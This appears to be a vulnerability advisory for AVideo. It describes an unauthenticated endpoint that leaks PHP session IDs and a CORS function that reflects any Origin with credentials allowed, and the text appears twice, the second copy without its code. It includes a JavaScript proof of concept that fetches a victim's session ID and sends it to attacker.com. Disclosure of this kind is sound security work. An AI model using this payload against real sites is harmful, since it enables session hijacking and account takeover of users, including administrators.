Summary
/objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request. The allowOrigin() function reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover.
Details
File: objects/phpsessionid.json.php
allowOrigin();
$obj = new stdClass();
$obj->phpsessid = session_id();
echo _json_encode($obj);
No authentication is required. The allowOrigin() function in objects/functions.php (line ~2648) reflects the request Origin:
$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];
header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
header("Access-Control-Allow-Credentials: true");This means any external website can make a credentialed cross-origin request and read the session ID.
PoC
An attacker hosts the following page:
<script>
fetch('https://TARGET/objects/phpsessionid.json.php', {
credentials: 'include'
})
.then(r => r.json())
.then(d => {
// d.phpsessid = victim's session ID
document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;
});
</script>When a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.
Impact
Account Takeover — Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.
References
offensiveee Reporter
Summary
/objects/phpsessionid.json.phpexposes the current PHP session ID to any unauthenticated request. TheallowOrigin()function reflects anyOriginheader back inAccess-Control-Allow-OriginwithAccess-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover.Details
File:
objects/phpsessionid.json.phpNo authentication is required. The
allowOrigin()function inobjects/functions.php(line ~2648) reflects the request Origin:This means any external website can make a credentialed cross-origin request and read the session ID.
PoC
An attacker hosts the following page:
When a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.
Impact
Account Takeover — Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.
References